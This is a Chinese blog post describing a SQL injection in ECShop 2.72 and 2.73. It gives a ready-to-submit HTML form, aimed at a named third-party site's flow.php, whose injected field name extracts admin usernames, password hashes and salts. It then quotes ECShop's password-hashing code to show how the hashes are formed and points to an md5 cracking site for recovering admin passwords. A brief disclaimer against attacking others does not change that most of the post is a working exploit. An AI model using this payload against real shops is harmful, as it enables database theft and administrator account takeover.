ecshop安全和漏洞2.73-2.72测试

widuu 2012-10-17 PHP技术 5,375 0 喜欢 (0)

我呢?在网上找了一下,然后根据代码重新编写了一下发现了这个安全漏洞;
前提只是为了做安全使用,请勿攻击他人网站
[php]
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ECSHOP破解密码工具</title>
</head>
<body>
<form id="form1" name="form1" method="post" action="http://www.baidugx.cn/flow.php">
<input type="text" name="goods_number[' AND (SELECT 1 FROM (SELECT count( * ) , concat( (SELECT concat( 0x23, user_id, 0x23, user_name, 0x7e, password,0x7e,ec_salt,0x23 ) FROM ecs_admin_user limit 0,1), floor( rand( 0 ) *2 ))x FROM information_schema.tables GROUP BY x)a) -- ]" value="1" />
<input type="text" name="step" value="update_cart" />
<input type="submit" />
</form>
</body>
</html>
</pre>
2.72中没有ec_salt这个字段,而且加密方式就是md5($password);所以提交之后就能破解密码;
但是2.73中我们发现数据库多了ecs_salt这个字段,那我们在看一下加密方式,
先看includes/modules/integrates/integrate.php中add_user()方法.里面有一段加密的代码
<pre lang="php" line="1">
if ($md5password)
{
$post_password = $this->compile_password(array('md5password'=>$md5password));
}
else
{
$post_password = $this->compile_password(array('password'=>$password));
}
function compile_password ($cfg)
{
if (isset($cfg['password']))
{
$cfg['md5password'] = md5($cfg['password']);
}
if (empty($cfg['type']))
{
$cfg['type'] = PWD_MD5;
}

switch ($cfg['type'])
{
case PWD_MD5 :
if(!empty($cfg['ec_salt']))
{
return md5($cfg['md5password'].$cfg['ec_salt']);
}
else
{
return $cfg['md5password'];
}

case PWD_PRE_SALT :
if (empty($cfg['salt']))
{
$cfg['salt'] = '';
}

return md5($cfg['salt'] . $cfg['md5password']);

case PWD_SUF_SALT :
if (empty($cfg['salt']))
{
$cfg['salt'] = '';
}

return md5($cfg['md5password'] . $cfg['salt']);

default:
return '';
}
}
[/php]
这些代码中我们可以看出来,如果原始的密码没有改变的就是md5($password)如果修改之后的就是md5(md5($password).$salt);
$salt=数据库esc_salt里边的值
这样我们就知道后台密码了!解密网站http://www.md5crack.com/crackmd5.php
千万不要去攻击别人哦!
欢迎转载,转载请注明来自微度网络www.widuu.com

转载请注明来自微度网络,本文标题:《ecshop安全和漏洞2.73-2.72测试》

喜欢 0 发布评论
Top